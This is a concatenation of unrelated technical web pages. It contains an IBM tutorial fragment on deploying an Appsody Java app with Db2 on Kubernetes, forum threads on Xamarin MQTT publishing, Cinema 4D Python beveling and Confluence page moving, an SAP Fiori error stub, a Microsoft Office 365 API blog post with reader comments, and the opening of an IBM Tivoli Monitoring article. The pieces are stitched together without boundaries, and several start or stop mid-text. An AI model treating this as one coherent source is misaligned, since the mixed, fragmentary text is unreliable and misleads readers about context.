Validate that the table was created and populated with contents by completing the following steps:
- Select Explore -> Tables from the menu activated from the upper-left icon
- Select the schema matching the user name for the credential created in earlier steps
- Select the “DEPARTMENT” table under the list of tables
)
- Click on View data and verify that the table contains sample rows with data, similar to what is displayed in the figure below:
Step 5. Configure the cluster to access the database service
This step makes the service credentials available to the cluster:
cluster_name=<name of your Kubernetes cluster> ibmcloud ks cluster service bind --cluster ${cluster_name} --service sample-jee-db --key sample-db-key --role Administrator -n default
The credentials are created in a JSON structure inside a Kubernetes secret. The naming convention is:
binding-<name of the service instance>, which in our case translates to
binding-sample-jee-db.
Our sample application needs the secret to have the individual parameters of the credential as first-level items in the secret; whereas the Kubernetes secret created by the previous command is a JSON structure.
To map the JSON structure to the format expected by the application, first export the JSON object as a properties file:
kubectl get secret binding-sample-jee-db -o jsonpath='{.data.binding}' | base64 -D | jq . | grep ":" | tr -d " " | sed 's|":|=|g' | tr -d "\"" | tr -d "," | sed "s|port=50000|port=50001|g"> .db2.temp.env
The newly created
.db2.temp.env file should have contents like this:
db=BLUDB dsn=DATABASE=BLUDB;HOSTNAME=dashdb-txn...;PORT=50000;PROTOCOL=TCPIP;UID=...;PWD=...; host=dashdb-txn... hostname=dashdb-txn... https_url=... jdbcurl=jdbc:db2://dashdb-txn...:50000/BLUDB parameters={} password=... port=50001 << We replaced 50000 with 50001 because we want to use the DB2 SSL port ssldsn=DATABASE=BLUDB;HOSTNAME=dashdb-txn-...;PORT=50001;PROTOCOL=TCPIP;UID=...;PWD=...;Security=SSL; ssljdbcurl=jdbc:db2://dashdb-txn-...:50001/BLUDB:sslConnection=true; uri=db2://...:...@dashdb-txn-...:50000/BLUDB username=...
Notice how the previous command replaced port 50000 with port 50001, which is where the DB2 service instance listens for secure traffic.
Now you can create a new secret based on that properties file:
kubectl create secret generic sample-jee-db-secret --from-env-file=.db2.temp.env
You are not deleting the temporary
.db2.temp.env file at this point because we want to use it later in the tutorial.
As a final validation, inspect the new key with the command below:
kubectl get secret sample-jee-db-secret -o json
You should see output resembling the output below:
{ "apiVersion": "v1", "data": { "db": "QkxVREI=", "host": ..., "password": ..., "port": "NTAwMDE=", "username": ... }, ... }
Notice how the connectivity parameters are arranged as top-level elements inside the
data element. Each of these parameters will later be mapped to individual configuration variables in the container runtime.
Step 6. Deploy the application to the cluster
With the changes made to the runtime
server.xml configuration file, you have the runtime ready to supply a data source backed by a connection pool to the application, as well as an application that can use that data source as the basis for a JPA persistence unit.
As a recap of previous steps, you inserted a few configuration variables in the
server.xml configuration file, which need to be mapped to the actual deployment file with the instructions in this section. These are the variables in
server.xml:
<properties.db2.jcc serverName="${env.db_server}" portNumber="${db_port}" databaseName="${db_database}" user="${db_user}" password="${db_password}"
Note the usage of “env.db_server” instead of simply “db_server”, which is a workaround for issue #740 in the java-openliberty application stack.
You also created a Kubernetes secret containing the credentials for the DB2 service instance:
kubectl get secret sample-jee-db-secret -o json { "apiVersion": "v1", "data": { "db": ... "host": ... "password": ... "port": 50001 "username": ... }, "kind": "Secret", ... }
According to the server configuration documentation, these configuration variables are filled from different sources following an order of precedence. The server runtime first looks for them in one source and progresses to the next source if the value is not found in the preceding source.
One of these sources is an environment variable. In this tutorial, we use environment variables as the method for how the application will obtain the configuration from the Kubernetes pod running the application container.
Our deployment file for the cluster needs to map a key in the Kubernetes secret to the corresponding environment variable, which in turn will be used as the value for the matching configuration variable in the
server.xml configuration file. This mapping requires the application developer to generate the Kubernetes deployment YAML file for the application and add environment mappings to it.
The first step is to generate the Kubernetes deployment YAML file, so you need to issue the following command:
appsody build
This command generates the Docker container image for deployment and also creates a new file named
app-deploy.yaml, containing a minimal Kubernetes deployment file.
According to Appsody Operator documentation, if you add the following snippet under the
specelement, you can map Kubernetes secrets to environment variables:
spec: ... env: - name: db_server valueFrom: secretKeyRef: key: host name: sample-jee-db-secret - name: db_port valueFrom: secretKeyRef: key: port name: sample-jee-db-secret - name: db_user valueFrom: secretKeyRef: key: username name: sample-jee-db-secret - name: db_password valueFrom: secretKeyRef: key: password name: sample-jee-db-secret - name: db_database valueFrom: secretKeyRef: key: db name: sample-jee-db-secret
Important: Make sure the alignment of the YAML file is correct after the modifications, or you may get messages like this:
formatting error: error converting YAML to JSON: yaml: line 98: did not find expected key
With all application modifications and configurations complete, you can now deploy the application to the remote cluster.
The image needs to be available on a Docker registry that is visible to the cluster. This tutorial uses the Docker registry in the IBM Cloud, although it would also possible to use a public Docker registry such as the Docker Hub with additional configuration not covered in this tutorial.
As an initial step, log in to the IBM Cloud Container Registry and set the region that is closest to your cluster. Type the following commands:
ibmcloud cr login ibmcloud cr region-set
The
region-setcommand will prompt you for the registry region. Provide the answer and hit Enter:
Choose a region 1. ap-north ('jp.icr.io') 2. ap-south ('au.icr.io') 3. eu-central ('de.icr.io') 4. global ('icr.io') 5. uk-south ('uk.icr.io') 6. us-south ('us.icr.io') Enter a number ()> 6 The region is set to 'global', the registry is 'us.icr.io'. OK
Notice the registry address for your choice of region (for example,
us.icr.ioin the above example), which needs to be referenced later in the name of the container image.
The next step is to create the namespace inside the container registry. This namesapce will contain the new image you are about to create:
cr_namespace=<choose a unique name> ibmcloud cr namespace-add ${cr_namespace}
And here is another critical change for the
app-deploy.yamlfile, due to the usage of the IBM Container Registry. By default, Appsody will create a new Kubernetes service account named after the application (
jee-samplein the case of this tutorial), which does not have the
imagePullSecretfor the private registry.
Modify the deployment configuration to reuse the
defaultservice account in the cluster, which already has the
imagePullSecretobjects for all domains of the IBM Cloud Container Registry. If your cluster has a different account that you would rather use, you will need to manually add these secrets to that service account and use it in the instruction below instead of the string “
default“.
Add the following line to the
specelement of
app-deploy.yaml
spec: ... serviceAccountName: default
And finally, you can deploy the application with the following command:
registry_name=<domain for registry region, such as us.icr.io> appsody deploy --push --tag ${registry_name}/${cr_namespace}/jee-sample
The
deploycommand may take a few minutes, largely due to the time it may take to transfer the image from your computer to the container registry.
Once the deployment is completed, it may still take a few seconds until the cluster pod with the application is initialized. You can check the status of the pod by entering the following command on a different terminal:
kubectl get pod -l app.kubernetes.io/name=jee-sample -w
Once the command output shows the pod status as
Running, you can stop the command by pressing the
Ctrl+Ckeys.
The
appsody deploycommand should display a message indicating the URL for the deployed application, similar to the output below:
Deployed project running at
Test the application
At this point in the tutorial, the application is running and ready to access.
Just to anticipate the eventual debugging of common problems, open another command-line window and issue the following command to stream logs from the pod into the console window:
cluster_name=<put your cluster name here> ibmcloud ks cluster config --cluster ${cluster_name} kubectl logs -f -l app.kubernetes.io/name=jee-sample
If at any point you realize something was missing from previous instructions, make the changes to the application and deploy it again using the
deploycommand, specifying a different version of the image in each run, such as in the example below:
appsody deploy --push --tag ${registry_name}/${cr_namespace}/jee-sample:0.0.1
Type the following command from a different command-line prompt to test the
databaseendpoint:
curl -s{public_ip}:${public_port}/starter/database
Remember this is the endpoint that uses a JNDI lookup to retrieve a connection from the connection pool. If everything is deployed correctly, you will see the connection metadata in an output similar to the JSON structure below:
{"client.info.ClientUser":"","client.info.ApplicationName":"","client.info.ClientHostname":"172.30.92.145",}
Run a final test to validate the
departmentsendpoint:
curl -s{public_ip}:${public_port}/starter/departments
Once again, if everything is deployed correctly, you should see a JSON array containing the rows you inserted in the DB2 table earlier in the tutorial:
[{"}]
Your new application should be able to field thousands of simultaneous requests to the database without strain, due to the connection pool keeping the expensive database connections open across different REST calls.
Type the following commands on the command-prompt:
for i in {0..2000} ; do curl -s{public_ip}:${public_port}/starter/departments -o /dev/null & done
You can inspect the status of connections against the DB2 instance from the Db2 On Cloud user interface. Go back to the console for the DB2 instance and select Monitor -> Collections from the upper-left menu.
You should see a result similar to the results below, where the connections from the application are highlighted to demonstrate that the connections are still held after the requests have been served:
Step 7. (Optional) Run the application locally
You may have noticed how the deployment cycle takes a long time in comparison to the immediate response times expected in a typical coding session.
If you want to iterate over application changes, you will undoubtedly want some mechanism to test those changes locally.
Appsody supports local development with the
appsody run command, so the only extra setup for the scenario in this tutorial is to inform the application of the connectivity parameters for the DB2 service instance.
You created a file named
.db2.temp.env earlier in the tutorial which contained the connectivity parameters for the DB2 instance. You may also recall that the property names in that file do not quite match the variable names in the
server.xml runtime configuration file, so you need to change those names with the instructions below.
Type the following command to create a new
.db2.appsody.run.envproperty file with property names matching the expected variable names:
cat .db2.temp.env | sed "s/db=/db_database=/" | sed "s/host=/db_server=/" | sed "s/port=/db_port=/" | sed "s/username=/db_user=/" | sed "s/password=/db_password=/" | grep db_ > .db2.appsody.run.env
Now, launch a local instance of the server with the following command:
appsody run -p9444:9443 --docker-options="--env-file=.db2.appsody.run.env"
Note the usage of the
-pparameter to export a different port for the HTTPS protocol, which avoids a common port collision with the Kubernetes enablement if you are using Docker Desktop.
Once the application startup completes, you can test its output with the following commands from a different command-line prompt:
curl -s localhost:9080/starter/database curl -s localhost:9080/starter/departments
These commands produce the same output obtained from the previous step, where you deployed the application to the remote cluster:
{"client.info.ClientUser":"","client.info.ApplicationName":"","client.info.ClientHostname":"172.17.0.2","}]
Go back to the original command-line from where you started the application, press
Ctrl+Cin that command-line prompt, and wait for the application run to end. Then type the command below to ensure eventual lingering resources are cleaned up:
appsody stop
Tear down the installation
After you completed all the steps in this tutorial, you may choose to delete all the artifacts created in your account. All commands in this subsection should be typed in the command-line prompt.
The first step is to delete the application in the cluster:
appsody deploy delete
Delete the secret created for the application:
kubectl delete secret sample-jee-db-secret
With the Appsody application deleted from the cluster, delete the namespace from the container registry, which also deletes all images inside the namespace:
ibmcloud cr namespace-rm ${cr_namespace} -f
As a last step, unbind the DB2 service instance from the cluster and delete the service instance:
ibmcloud ks cluster service unbind --cluster ${cluster_name} --service sample-jee-db --namespace default ibmcloud resource service-instance-delete sample-jee-db --recursive -f
You can now delete the entire directory for the application.
Summary
After completing this tutorial, you should be able to use Appsody to convert an important class of existing Open Liberty or WebSphere Liberty applications into a cloud-native microservice.
You should have enough references to adapt these techniques to use different database providers as well as generalize them to reuse other types of J2C-based resources, such as JMS connection pools.
Next steps
Take the IBM Cloud Pak for Applications product tour and experience the entire deployment and development cycle against an actual OpenShift cluster. | https://developer.ibm.com/depmodels/microservices/tutorials/connecting-appsody-java-microprofile-applications-to-jdbc-data-sources/ | CC-MAIN-2020-50 | en | refinedweb |
Hi, I been working on a small peice of code in Xamarin Forms (my first project) to send a mqtt message upon a button press.
Ive written the code to publish the mqtt message to the test.mosquitto.org server within a C# console app and that seems to be working OK.
`using System;
using System.Net.Mqtt;
using System.Text;
namespace MqttTest.Client
{
class Program
{
const string topic = "test/test/button";
static void Main (string[] args) { var config = new MqttConfiguration { Port = 1883 }; var client = MqttClient.CreateAsync("test.mosquitto.org", config).Result; var clientId = "myClientID"; string message = "test"; client.ConnectAsync (new MqttClientCredentials (clientId)).Wait (); client.SubscribeAsync (topic, MqttQualityOfService.AtLeastOnce).Wait (); //Publishes "message" Var client.PublishAsync(new MqttApplicationMessage(topic, Encoding.UTF8.GetBytes($"{message}")), MqttQualityOfService.AtLeastOnce).Wait(); } }
}
`
Ive now written a very simple xamarin cross platform app with 1 button, 1 button_clicked event and the code for the button clicked event which was written in the above console app.
`using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Xamarin.Forms;
using System.Net.Mqtt;
namespace App1
{
public partial class MainPage : ContentPage
{
public MainPage()
{
InitializeComponent();
}
const string topic = "test/test/button";
private void Button_Clicked(object sender, EventArgs e) { var config = new MqttConfiguration { Port = 1883 }; var client = MqttClient.CreateAsync("test.mosquitto.org", config).Result; var clientId = "clientIdhGHvpYY9uM"; string message = "Hello"; client.ConnectAsync(new MqttClientCredentials(clientId)).Wait(); client.SubscribeAsync(topic, MqttQualityOfService.AtLeastOnce).Wait(); client.PublishAsync(new MqttApplicationMessage(topic, Encoding.UTF8.GetBytes($"{message}")), MqttQualityOfService.AtLeastOnce).Wait(); } }
}
`
Upon testing the app in the emulator, it loads up OK but when I click the button, it freezes the app and does not publish to the test mqtt server.
Can anyone offer any advice on how to get this working
thank you
Answers
Anyone......!
This is not a very good forum
did you find a solution for your problem?
Which plugin are you using now?
Is it good?
@L3x what plugin did you use?
@L3x
hi there
I'm very new to making apps with Xamarin or just in general. I'm currently trying to make a basic app that can send and recieve MQTT messages. I have made a windows forms app that can send and recieve messages with M2MQTT. This was very easy btw, but with Xamarin apparently not so easy
(Or maybe it's just too hard for me). I would appreciate it if you would send over the code/file of your app that you got working
English isn't my native language so excuse the mistakes.
@L3x How ironic!!! You saying the forum is trash when you respond to all these people looking for the answer you found with "found another plugin and it works" w/out marking an answer and saying which plugin... ridiculous
@L3x can u please tell what plugin did u use | https://forums.xamarin.com/discussion/comment/421718 | CC-MAIN-2020-50 | en | refinedweb |
Calling Bevel tool and setting parametrs
Just when I thought I might be getting the hang of python in C4D I ran into a challenge of trying to bevel an edge selection. I've been able to piece together most of what I think I need but I've run into two problems. The first being that I can't set the offset of the tool and second I must be missing some sort of command to have the polygons show up after the resulting bevel takes place. I've been scouring the forums and trying a bunch of things for the last few hours and I've come to the point where I have to throw in the towel and seek professional help.
Any and all help is appreciated.
Here's what I have so far -
tags = op.GetTags() for tag in tags: if tag.GetType()==5701: #edge selection doc.SetMode(c4d.Medges) selection = tag.GetBaseSelect() edgeSelected = op.GetEdgeS() selection.CopyTo(edgeSelected) c4d.CallCommand(431000015,431000015) # xll bevel tool tool = plugins.FindPlugin(doc.GetAction(), c4d.PLUGINTYPE_TOOL) bcBevel = doc.GetActiveToolData() bcBevel.SetData(c4d.MDATA_BEVEL_OFFSET_MODE, 0) bcBevel.SetData(c4d.MDATA_BEVEL_RADIUS, 1) bcBevel.SetData(c4d.MDATA_BEVEL_SUB, 2) bcBevel.SetData(c4d.MDATA_BEVEL_DEPTH, 1) bcBevel.SetData(c4d.MDATA_BEVEL_SELECTION_PHONG_BREAK, False) c4d.CallButton(tool, c4d.MDATA_APPLY) op.Message(c4d.MSG_UPDATE) c4d.EventAdd()
Hi @del thanks for reaching us,
As you figured the new bevel tool is c4d.ID_XBEVELTOOL (431000015) (I will update the python documentation) but in order to make it work the recommended way is to use SendModelingCommand like so
import c4d doc.StartUndo() # Settings settings = c4d.BaseContainer() settings[c4d.MDATA_BEVEL_MASTER_MODE] = c4d.MDATA_BEVEL_MASTER_MODE_SOLID settings[c4d.MDATA_BEVEL_RADIUS] = 5 settings[c4d.MDATA_BEVEL_SELECTION_PHONG_BREAK] = False doc.AddUndo(c4d.UNDOTYPE_CHANGE, op) res = c4d.utils.SendModelingCommand(command = c4d.ID_XBEVELTOOL, list = [op], mode = c4d.MODELINGCOMMANDMODE_EDGESELECTION, bc = settings, doc = doc) doc.EndUndo() c4d.EventAdd()
You can find a list of all symbols in the cpp documentation of xbeveltool.h.
Cheers,
Maxime.
Hi and thanks for the help.
I tried the script but I don't get any results. No error message and no change to the model. Please keep in mind that I'm in R19 if that makes a difference. I tried it in R20 and it creates a bevel. Not the bevel I expected but it was at least promising that it did something.
Here is what I have based on your info.
import c4d from c4d import utils def main(): bcBevel = c4d.BaseContainer() bcBevel[c4d.MDATA_BEVEL_MASTER_MODE] = c4d.MDATA_BEVEL_MASTER_MODE_CHAMFER bcBevel[c4d.MDATA_BEVEL_OFFSET_MODE] = c4d.MDATA_BEVEL_OFFSET_MODE_FIXED bcBevel[c4d.MDATA_BEVEL_RADIUS] = 1 bcBevel[c4d.MDATA_BEVEL_SUB] = 2 bcBevel[c4d.MDATA_BEVEL_DEPTH] = 1 bcBevel[c4d.MDATA_BEVEL_SELECTION_PHONG_BREAK] = False tags = op.GetTags() for tag in tags: if tag.GetType()==5701: doc.StartUndo() doc.SetMode(c4d.Medges) selection = tag.GetBaseSelect() edgeSelected = op.GetEdgeS() selection.CopyTo(edgeSelected) doc.AddUndo(c4d.UNDOTYPE_CHANGE, op) res = c4d.utils.SendModelingCommand( c4d.ID_XBEVELTOOL, [op], c4d.MODELINGCOMMANDMODE_EDGESELECTION, bcBevel, doc) doc.EndUndo() c4d.EventAdd() if __name__=='__main__': main()
C4D might have been 'messed up' based on my prior attempts. I've restarted it and may be making progress.
Here in R19 it's working nicely. Let me know if you are able to reproduce the issue.
Cheers,
Maxime.
Restarting c4d fixed it! Now I just have to get the hidden polys produced by the bevel to appear. I'm pretty sure I need a message update or something like that as they appear once I move the model.
Thanks for your help.
.del
Does anybody know what format I'm supposed to use to send a number to the Bevel tool for the radius? I'm currently only able to get it to work with whole numbers like 1 or 2. I'd like to set it to .5.
I've tried float(.5) and int(.5) but both end up giving me no bevel. I can't find any documentation for this.
thanks,
.del
found it!!! I had to float('0.5')
settings[c4d.MDATA_BEVEL_RADIUS] = 0.5
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I've seen plenty of questions on this and almost every answer is "click and drag" which is not practical for hundreds of pages of varying hierarchy in a single Confluence space. There is one single unanswered question on this very topic that I could find: ()
The question is simple: Does Confluence (or Scriptrunner for Confluence) provide a method to move pages in bulk (with a certain label, e.g. "Archive") to another top-level page in the same Space?
None of the built-in scripts in "Scriptrunner for Confluence" provide even a clue on moving multiple pages. It's all adding labels, notifications, etc. Ok, that's great, but is there seriously no way to move all these unless by "click and drag"??
I have the first portion of my script running as a Job below, I just want to move these newly labeled pages to a new top-level page. Can anyone here please provide something beyond the template "click and drag" response, or is this just where Confluence is still at since 2004?
import com.atlassian.confluence.labels.Label
import com.atlassian.confluence.labels.LabelManager
import com.atlassian.confluence.labels.Namespace
import com.atlassian.sal.api.component.ComponentLocator
import com.atlassian.scheduler.JobRunnerResponse
def labelManager = ComponentLocator.getComponent(LabelManager)
hits.each { page ->
def labelName = "Archive"
def label = labelManager.getLabel(labelName)
if (!label) {
label = labelManager.createLabel(new Label(labelName, Namespace.GLOBAL))
}
if (!page.labels*.name.contains(labelName)) {
log.info("Add label to page: ${page.title}")
labelManager.addLabel(page, label)
}
}
Import the class PageManager and then use one of the various move page. | https://community.atlassian.com/t5/Confluence-questions/Does-quot-Scriptrunner-for-Confluence-quot-allow-moving-multiple/qaq-p/1185626 | CC-MAIN-2020-50 | en | refinedweb |
Symptom
FIORI apps stop working suddenly, without clear reason. When trying to launch any app (E.g. Approve Shopping Cart, Track Shopping Carts, My Shopping carts) an error happens: "Cannot call service with URL: /sap/opu/odata/sap/SRM APPLICATION BEING USED".
Errors below are seen in Chrome browser, when you click F12 - tab Console:
"No service found for namespace , name ****"
"FIORI_USER /IWFND/MED170"
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Environment
- SRM Fiori app Approve Shopping Carts
- SRM Fiori app Approve Purchase Orders
- Confirm Goods Receipt
- Carry Out Sourcing
- Purchase Order
- Central Purchase Contract
- RFx
Product
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This I have been really itching to get back out to speak in front of the developer community.
One of the areas I’ve been working in for a while is building SharePoint Apps. Office and SharePoint Apps let you customize the Office and SharePoint experiences with your own customizations. Apps are web-based, and you use HTML and JavaScript to customize Office (Outlook, Word, Excel, PowerPoint) and SharePoint itself.
For more info on apps, see the MSDN Library: Apps for Office and SharePoint
We’ve also been working on another programming model that I’m really jazzed about. It allows you to build your own custom apps and consume data from Office 365 (Sites, Mail, Calendar, Files, Users). They are simple REST OData APIs for accessing SharePoint, Exchange and Azure Active Directory from a variety of platforms and devices. You can also use these APIs to enhance custom business apps that you may already be using in your organization.
To make it even easier, we’ve built client libraries for .NET, Cordova and Android. The .NET libraries are portable so you can use them in Winforms, WPF, ASP.NET, Windows Store, Windows Phone 8.1, Xamarin Android/iOS,. There’s also JavaScript libraries for Cordova and an Android (Java) SDK available.
If you have Visual Studio this gets even easier by installing the Office 365 API Tools for Visual Studio extension. The tool streamlines the app registration and permissions setup in Azure as well as adds the relevant client libraries to your solution via NuGet for you.
Before you begin, you need to set up your development environment.
Note that the tools and APIs are currently in preview but they are in great shape to get started exploring the possibilities. Read about the client libraries here and the Office 365 APIs in the MSDN Library. More documentation is on the way!
Let’s see how it works. Once you install the tool, right-click on your project in the Solution Explorer and select Add – Connected Service…
This will launch the Services Manager where you log into your Office 365 developer site and select the permissions you require for each of the services you want to use.
Once you click OK, the client libraries are added to your project as well as sample code files to get you started. The client libraries help you perform the auth handshake and provide strong types for you to work with the services easier.
The important bits..
const string MyFilesCapability = "MyFiles"; static DiscoveryContext _discoveryContext; public static async Task<IEnumerable<IFileSystemItem>> GetMyFiles() { var client = await EnsureClientCreated(); // Obtain files in folder "Shared with Everyone" var filesResults = await client.Files["Shared with Everyone"]. ToFolder().Children.ExecuteAsync(); var files = filesResults.CurrentPage.OrderBy(e => e.Name); return files; } public static async Task<SharePointClient> EnsureClientCreated() { if (_discoveryContext == null) { _discoveryContext = await DiscoveryContext.CreateAsync(); } var dcr = await _discoveryContext.DiscoverCapabilityAsync(MyFilesCapability); var ServiceResourceId = dcr.ServiceResourceId; var ServiceEndpointUri = dcr.ServiceEndpointUri; // Create the MyFiles client proxy: return new SharePointClient(ServiceEndpointUri, async () => { return (await _discoveryContext.AuthenticationContext. AcquireTokenSilentAsync(ServiceResourceId, _discoveryContext.AppIdentity.ClientId, new Microsoft.IdentityModel.Clients.ActiveDirectory .UserIdentifier(dcr.UserId, Microsoft.IdentityModel.Clients.ActiveDirectory .UserIdentifierType.UniqueId))).AccessToken; }); }
This code is using the Discovery Service to retrieve the rest endpoints (DiscoverCapabilityAsync). When we create the client proxy, the user is presented with a login to Office 365 and then they are asked to grant permission to our app. Once they authorize, we can access their Office 365 data.
If we look at the request, this call:
var filesResults = await client.Files["Shared with Everyone"]. ToFolder().Children.ExecuteAsync();
translates to (in my case):
GET /personal/beth_bethmassi_onmicrosoft_com/_api/Files('Shared%20with%20Everyone')/Children
The response will be a feed of all the file (and any sub-folder) information stored in the requested folder.
Play around and discover the capabilities. There’s a lot you can do. I encourage you to take a look at the samples available on GitHub:
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Also check out these video interviews I did this summer to learn more:
- Integrating Xamarin Android Apps with Office 365 APIs
- Office 365 API Tools for Visual Studio: Users and Files
Enjoy!
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Nice article Beth. Do you know where I can find the current list of supported project types? Cannot wait for O365 API to be supported in LSCBA Project template. Have a great day!
Hi Josh,
The currently supported project types are listed on the extension description page: aka.ms/office365apitoolspreview
I can't wait for support for CBA's as well, but I'm told there is some Auth work to do. Help the teams prioritize by voicing this (I know you will :-)) It would be great to make a uservoice suggestion on the Office Dev space here: officespdev.uservoice.com
And when are we getting a new Lightswitch version?
I know we released an update to the NuGet package for msls recently. What do you mean by new? Visual Studio 14?
Well the last one was in March and I know since then you were cleaning up the uservoice board so just wondering when the next release is? It used to be every 3 or 4 months.
BTW my personal need to recommend this for more projects at work is a custom header ability built in and better menu system for navigation.
Actually we released an update to the VS tooling more recently than that. It was VS Update 3 when we did the update work on the publishing wizard IIRC. March was a major update to catch up to the SharePoint app platform. Since then, the updates have been smaller because the changes to the apps platform have been smaller. Office 365 APIs have been the focus lately. I know there's a lot of tools to work on for the Office/SharePoint dev platform and the team is trying to keep up on all of them. We're building a lot of stuff so you'll see our updates jump around the multiple tooling experiences.
Ok fine I guess we will wait to see what you release.
I would like to tell you though I have heard several Product Managers complain that they can't brand the app with a nice custom header like you might get with any other engine. I realize mobile is the focus however so many other technologies have come up with responsive headers to accommodate desktop mode and mobile at the same time.
Nice to see Office 365 taking off and unfortunately Lightswitch dying. Why cant we have Lightswitch Office API, publish to Sharepoint sites or even Windows store? It is so naturally suited for HTML/JScript . I am also now concerned I started with the wrong technology and have just wasted 18 months of extensive dev time. What makes it worse is being kept in the dark…
@pp8357hot – Not sure what you mean, you can SharePoint enable a LightSwitch app and publish to the SharePoint store/corporate catalog. LS sits on the apps side of the Office 365 offerings. Office is providing developers choices for building on Office 365. You can go the apps route or you can access services data directly.
so Beth, you're gone from LS team or?
@Kivito – I usually avoid talking about internal org structures at Microsoft, since they change. But I've always been on the broader Visual Studio team. I've always blogged about my passions around business app development. I do admit that my duties have turned more internally (and I have a family now) so I don't get out and blog/speak as much as I'd like these days.
Well that's great, I'm happy for you and wish you more time for blogging and family! I just hope that guys will not become lazy without a strong female hand in the Lightswitch kitchen.. ;)
I also wish you all the best, Beth, and I was also impressed by your leadership and energy with LightSwitch. But look at the LightSwitch "team" blog sometime, and you'll be quite embarrassed for your company. What sane developer will ever hang their hat on Microsoft's "RAD" after the Silverlight and now LightSwitch debacle?
Personally, I think LightSwitch would be by far the best LOB RAD tool out there, if we could be convinced it has a future. You invested a lot of energy in it. Could you possibly get to MS to give any information on all on it? Or make it open source? Anything?…
Agree completley. ..beth, Microsoft produced a fantastic product in LS, they and you pushed it, sold it and evangelised thousands of loyal developers. Then without a sound, a comment or a simple post it looks like they killed it. I will probably continue to use LS for add long as possible, partly because I have locked myself into it with clients, partly because there's no clear alternative but mostly despite Microsoft astounding disregard for their customers and their appalling support LS is still a fantastic product that surpasses anything else out there. BETH, if you can provide clarity on the future of a product that you worked so hard to push us towards it would be really appreciated by everyone who bought into what you sold us.
I understand you guys are frustrated in the decline of community activity around LightSwitch. You're preaching to the choir. But I have picked up other responsibilities so unfortunately it's been impossible for me to keep up as well. I still use LightSwitch. I still recommend it for apps that fit. I don't think there is any better alternative to rapidly developing mobile SharePoint apps that connect to multiple data sources and don't need a fancy UI. It's still supported and part of VS2015. And now it's FREE with Community edition. If you guys know of something better that fits this space, I want to know about it too!
I'm sorry if you think I tried to sell you something because I'm not a sales person, I'm an engineer and a teacher. I always have had a passion for teaching people how to develop applications. I try my best to show you how to use something to it's maximum potential. That's what I have always done here on this blog. There a many resources here, not just about LightSwitch. (Believe it or not, the most read article here BY FAR is about installing SQL Server.) That's because developing software is my passion.
I have been working in the open source community in the last year and I have learned a TON. I have learned what can and can't be realistically open sourced as well. I hope to start blogging here and there again soon about some of my new adventures. I hope you guys can support me on my journey and not hate me because my life moved on. I've always have had the best intentions here.
-Beth
Beth I am sure no one faults you for anything, or has bad feelings about your work with lightswitch. You're an employee of Microsoft – I think everyone knows that it means you don't get to make all of your own decisions. EVERYONE did and still does appreciate your work, with us, on lightswitch. Someone mentioned that you 'sold' lightswitch – I am sure that they simply meant you promoted it, out of every best intention.
It is devastating that Microsoft seems to have left lightswitch to drift. Microsoft has made some apparently good changes of late, but until they are capable of an honest relationship with their customers, which means telling it like it is instead of going silent, and actually engaging with the community, it rings hollow. The company seems multi-faced, unreliable. My software career has been a great success in every way, it's been fun, it's been almost all Microsoft…and I have no confidence in Microsoft at this point. I and probably the rest of us would migrate to any other RAD platform that has legs in a flash as soon as it is manifest, or each of us discovers the framework that fits.
It was also a bit painful to read your post above in c# only…salt on the wound <g>.
Error: DiscoveryContext could not be found.
How to fix this issue
@rusticcloud – I still love VB. But honestly, C# really isn't that painful anymore. It's a lot easier than JavaScript ;-) And you will be happy to note that C#6 borrows static usings & exception filtering from VB :-) blogs.msdn.com/…/new-features-in-c-6.aspx
@visha – this post was about the pre-release version of O365 client libraries. You should check out Chak's post on what's updated and the new samples: chakkaradeep.com/…/update-to-office-365-api-tools-and-client-libraries
This is really beyond catastrophe. asp.net 5 details are out and no support for vb.net, and no support for webforms. Lightswitch apparently dead. There is no current Microsoft product that I like any more other than sql server. There are zillions of devs like myself, folks that are less geared for coding than you Beth, who nevertheless are fully capable of wrangling a product like Access, vb 6, lightswitch, or webforms into valuable, productive, and durable business solutions. Microsoft has nothing to offer us.
A product that does suit and has been curated perfectly is Orcale's APEX product. Oracle has evolved that product, which started out as one guy's side project, into a full blown application framework. They have never missed a step – every iteration is in the direction that the users want. The only issue I have with it is that I am not fond of Oracle as a database.
God knows what demon has infested Microsoft such that of all companies they seem to excel only at ignoring huge sections of their user base, and breaking every trace of facilitating LOB productivity tools.
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Contents
- Introduction
- What is monitoring? Why do monitoring? Why do you care?
- Health and performance monitoring in Retail
- IBM's holistic approach to the store, the IBM Store Integration Framework
- Getting started on your integration to IBM Tivoli Monitoring
- IBM Tivoli Monitoring architecture
- Planning what to monitor
- Planning how to monitor
- Doing the monitoring
- JMX monitoring
- C++ monitoring
- Log monitoring
- Monitoring the sample applications
- More you can do with IBM Tivoli Monitoring
- IBM's Ready for Tivoli validation program
- How to validate your solution in the Ready for Tivoli validation program
- Additional information on Ready for Tivoli validation
- Conclusion
- Downloadable resources
- Related topics
Step by step how-to on integrating your application with IBM Tivoli Monitoring 6.1
In this article, we provide you a “how to” guide on integrating your application with IBM Tivoli Monitoring 6.1, IBM's health and performance monitoring tool. Within this article, we'll give you business pain points that IBM Tivoli Monitoring addresses, provide you sample integration scenarios, and explain how to get the maximum benefit from your integration with Tivoli through IBM's Ready for Tivoli program, all from a Retail Industry point of view.
What is monitoring? Why do monitoring? Why do you care?
So what does IBM mean by monitoring? Although there are many facets of monitoring, for the context of this article, it's from the point of view of health and performance. So what is health and performance monitoring? It's the ability to see if the system is working and how well is it working. By knowing how a system is working, you have the information and ability to proactively (for example, react to out of paper situations) or reactively (for example, find out why there is a degradation of IT systems) respond to quality of services issues. In any business where the availability of critical systems is paramount like Retail, health and performance monitoring systems are a requirement.
Health and performance monitoring in Retail
Retailers have hundreds, or perhaps thousands, of geographically distributed stores. Each store contains an array of hardware, applications and retail specific devices and solutions, for example, point-of-sale (POS) terminals; self check-out machines, signature capture devices, payment systems, digital media displays, RFID shelves, and kiosks. Monitoring these hardware and software assets is a complex problem. Typically, the retail stores have little or no local IT experience, and as a result, the management of all of the stores is done from a centralized location. The issue that IBM typically sees in this environment is that usually, non-local IT folks don't have enough information or the correct information from the store IT systems to quickly diagnose a problem and get the store back to normal operations. Factor in financial implications like x amount of reduced capability time equals y loss in revenue, and you can imagine that there is a huge expectation on all the various parties who use and maintain the IT systems in the store.
IBM's holistic approach to the store, the IBM Store Integration Framework
Before We jump into the architecture discussion, we want to give a brief history of IBM's retail industry experience. is a core piece of the IBM Store Integration Framework and provides the health and performance monitoring of the network, hardware, operating system, middleware and applications that are deployed on the IBM Store Integration Framework.
Figure: IBM Store Integration Framework
Figure: The open standards that are used in the IBM Store Integration Framework
